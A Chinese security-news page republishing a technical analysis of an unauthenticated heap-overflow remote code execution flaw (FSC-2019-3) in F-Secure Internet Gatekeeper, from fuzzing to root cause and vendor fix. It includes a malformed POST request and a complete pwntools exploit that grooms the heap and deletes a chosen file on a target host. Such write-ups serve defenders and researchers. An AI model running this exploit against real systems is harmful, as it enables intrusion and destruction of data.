网站建设、公众号开发、微网站、微商城、小程序就找牛创网络 !

7*24小时服务专线: 152-150-65-006 023-68263070 扫描二维码加我微信 在线QQ

漏洞公告团结互助,让我们共同进步!

当前位置:主页 > 技术资讯 > 网络安全 > 漏洞公告 >

我们的优势: 10年相关行业经验,专业设计师量身定制 设计师一对一服务模式,上百家客户案例! 企业保证,正规流程,正规合作 7*24小时在线服务,售后无忧

堆溢出漏洞(FSC-2019-3):F-Secure Internet Gatekeeper应用程序解析,利用未经身份验证的远程代码执行漏洞

文章来源:重庆网络安全 发布时间:2020-02-29 13:51:46 围观次数:
分享到:

摘要:堆溢出漏洞(FSC-2019-3):F-Secure Internet Gatekeeper应用程序解析,利用未经身份验证的远程代码执行漏洞。

搭建漏洞复现环境


  在我们的实验环境中,所有漏洞均在配置了至少1个处理器和4GB RAM的CentOS虚拟机中复现和测试。


  接下来,下载F-Secure Internet Gatekeeper


  但是现在,供应商已经删除了易受攻击的产品。


  受影响的产品包SHA256如下:


  1582aa7782f78fcf01fccfe0b59f0a26b4a972020f9da860c19c1076a79c8e26

  安装步骤:


  1.如果您使用的是x64版本的CentOS,请运行以下命令:


  yum install glibc.i686;

  2.然后,运行以下命令以安装F-Secure Internet Gatekeeper。


  rpm -I <fsigkbin> .rpm


  3.为了便于调试,请安装gdb 8+和gef。


  现在,我们可以使用GHIDRA / IDA或其他反汇编/反编译工具对F-Secure Internet Gatekeeper进行反向分析。


  漏洞分析


  根据F-Secure提供的信息,F-Secure Internet Gatekeeper是一种“高效且易于管理的企业网络网关级安全保护解决方案”。


  F-Secure Internet Gatekeeper包含一个在端口9012 / tcp上运行的控制面板。该面板可用于控制产品中所有可用的服务和规则,例如HTTP代理和IMAP代理等。可通过HTTP协议访问此控制面板。此功能由用C语言开发的fsikgwebui程序实现。实际上,整个Web服务器都使用C/C++开发,并且某些组件也使用CivetWeb代码,因此我们可以认为该服务器很可能会使用定制版本的CivetWeb。


  因为服务器是用C/C++开发的,所以我们可以尝试找出是否存在内存崩溃漏洞,因为用这种语言开发的应用程序经常会遇到此安全问题。


  在这里,我们选择使用Fuzzytron来模糊管理控制面板。Fuzzotron是一种功能强大的模糊测试工具,它使用Radamsa作为底层引擎驱动程序,并且具有内置的TCP支持以促进网络服务的模糊测试。对于测试用例,我们选择了一个有效的POST请求来更改管理员控制面板的语言设置,未经授权的用户可以发起该请求,因此非常适合我们的测试场景。


  在分析Radamsa的变异输入样本时,我们可以看到该漏洞与Content-Length Header有关。导致软件崩溃的测试案例Header值为:Content-Length:21487483844,它指示溢出漏洞与整数计算错误有关。


  在gdb中调试测试用例后,我们发现导致崩溃的代码位于fs_httpd_civetweb_callback_begin_request函数中。该功能主要负责处理入栈连接,并根据HTTP请求类型,地址路径或cookie将请求转发到下一步的相关功能。 


  在复制漏洞期间,我们需要向管理员控制面板使用的端口9012发送POST请求,在该端口上我们设置了很大的Content-Length Header值:

POST /submit HTTP/1.1Host: 192.168.0.24:9012Content-Length: 21487483844AAAAAAAAAAAAAAAAAAAAAAAAAAA


 目标应用程序解析该请求并执行fs_httpd_get_header函数以获取Content-Length值。然后将该字段值传递给strtoul函数(将字符串转换为无符号长整数)进行处理。


  与上述控制流程相对应的伪代码如下:

content_len = fs_httpd_get_header(header_struct, "Content-Length");if ( content_len ){   content_len_new = strtoul(content_len_old, 0, 10); }


strtoul函数的返回值为无符号long。在32位系统上,最大值为2 ^ 32-1。


  由于我们提供的Content-Length太长,因此strtoul函数返回ULONG_MAX值(原始值溢出),因此32位系统上的对应值为0xFFFFFFFF。


  当fs_httpd_civetweb_callback_begin_request函数尝试执行malloc请求以分配数据空间时,它会在调用malloc函数之前先向Content_Length变量加1。


  相应的伪代码如下:

// fs_malloc == mallocdata_by_post_on_heap = fs_malloc(content_len_new + 1)


 因为0xFFFFFFFF 1将导致整数溢出,所以最终结果为0×00000000,这将导致malloc分配0字节的内存空间。


  调用malloc(0)时,该函数返回指向堆的有效指针,该指针指向最小的chunk(大小为0x10字节)。


  经过进一步分析,我们可以看到在代码中也调用了mg_read函数:

// content_len_new is without the addition of 0x1.// so content_len_new == 0xFFFFFFFFif(content_len_new){    int bytes_read = mg_read(header_struct, data_by_post_on_heap, content_len_new)}


  发生溢出后,以上代码将无限制地读取堆中的任何数据量,这对于利用非常方便。此时,我们可以停止将数据写入HTTP流,并且目标软件将直接关闭连接并继续操作流。这样,我们可以完全控制需要写入的数据。


  利用PoC

from pwn import *import timeimport sysdef send_payload(payload, content_len=21487483844, nofun=False):    r = remote(sys.argv[1], 9012)    r.send("POST / HTTP/1.1\n")    r.send("Host: 192.168.0.122:9012\n")    r.send("Content-Length: {}\n".format(content_len))    r.send("\n")    r.send(payload)    if not nofun:        r.send("\n\n")    return rdef trigger_exploit():    print "Triggering exploit"    payload = ""    payload += "A" * 12             # Padding    payload += p32(0x1d)            # Fast bin chunk overwrite    payload += "A"* 488             # Padding    payload += p32(0xdda00771)      # Address of payload    payload += p32(0xdda00771+4)    # Junk    r = send_payload(payload)def massage_heap(filename):        print "Trying to massage the heap....."        for x in xrange(100):            payload = ""            payload += p32(0x0)             # Needed to bypass checks            payload += p32(0x0)             # Needed to bypass checks            payload += p32(0xdda0077d)      # Points to where the filename will be in memory            payload += filename + "\x00"            payload += "C"*(0x300-len(payload))            r = send_payload(payload, content_len=0x80000, nofun=True)            r.close()            cut_conn = True        print "Heap massage done"if __name__ == "__main__":    if len(sys.argv) != 3:        print "Usage: ./{} <victim_ip> <file_to_remove>".format(sys.argv[0])        print "Run `export PWNLIB_SILENT=1` for disabling verbose connections"        exit()    massage_heap(sys.argv[2])    time.sleep(1)    trigger_exploit()    print "Exploit finished. {} is now removed and remote process should be crashed".format(sys.argv[2])


修复漏洞


  F-Secure为此安全问题分配了编号FSC-2019-3。当前,F-Secure已修复F-Secure Internet Gatekeeper的v5.40–5.50 hotfix 8 (2019-07-11)版本中该漏洞。


本文由 重庆网络安全 整理发布,转载请保留出处,内容部分来自于互联网,如有侵权请联系我们删除。

相关热词搜索:堆溢出漏洞 F-Secure Internet Gatekeeper 应用程序 身份验证 远程代码执行漏洞 重庆网络安全

上一篇:OpenBSD SMTP漏洞分析:远程执行代码,影响版本OpenBSD 6.6,OpenBSD 5.9,Debian 10,Debian 11,Fedora 31。
下一篇:反序列化漏洞(CVE-2020-2551) :Weblogic核心组件IIOP协议,调用远程对象的实现存在缺陷导致序列化对象可以任意构造

热门资讯

鼠标向下滚动